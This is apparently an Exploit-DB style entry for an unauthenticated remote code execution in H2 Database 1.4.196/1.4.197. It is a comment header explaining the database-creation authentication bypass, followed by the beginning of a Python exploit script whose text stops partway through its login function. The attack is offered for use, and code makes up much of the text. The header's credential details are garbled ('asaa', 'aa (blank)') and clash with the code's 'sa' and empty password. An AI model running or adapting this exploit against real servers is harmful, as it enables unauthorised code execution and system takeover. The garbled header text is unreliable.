# Exploit Title: H2 Database 1.4.196 - Remote Code Execution # Google Dork: N/A # Date: 2018-09-24 # Exploit Author: h4ckNinja # Vendor Homepage: https://www.h2database.com/ # Software Link: http://www.h2database.com/h2-2018-03-18.zip # Version: 1.4.196 and 1.4.197 # Tested on: macOS/Linux # CVE: N/A # This takes advantage of the CREATE ALIAS RCE (https://www.exploit-db.com/exploits/44422/). # When the test database has a password that is unknown, it is still possible to get the execution # by creating a new database. The web console allows this by entering the name of the new database # in the connection string. When the new database is created, the default credentials of # username asaa and password aa (blank) are created. The attacker is logged in automatically. # The attached Python code, modified from 44422, demonstrates this. #!/usr/bin/env python ''' Exploit Title: Unauthenticated RCE Date: 2018/09/24 Exploit Author: h4ckNinja Vendor: http://www.h2database.com/ Version: all versions Tested on: Linux, Mac Description: Building on the Alias RCE, there's an authentication bypass to create a database, and then login to that one. Modified from: https://www.exploit-db.com/exploits/44422/ ''' import random import string import sys import argparse import html import requests def getSession(host): url = 'http://{}'.format(host) r = requests.get(url) path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('.jsp', '.do') return '{}/{}'.format(url, path) def login(url, database): data = { 'language': 'en', 'setting': 'Generic H2 (Embedded)', 'name': 'Generic H2 (Embedded)', 'driver': 'org.h2.Driver', 'url': database, 'user': 'sa', 'password': '' } print('[*] Attempting to create database') r = requests.post(url, data=data) if '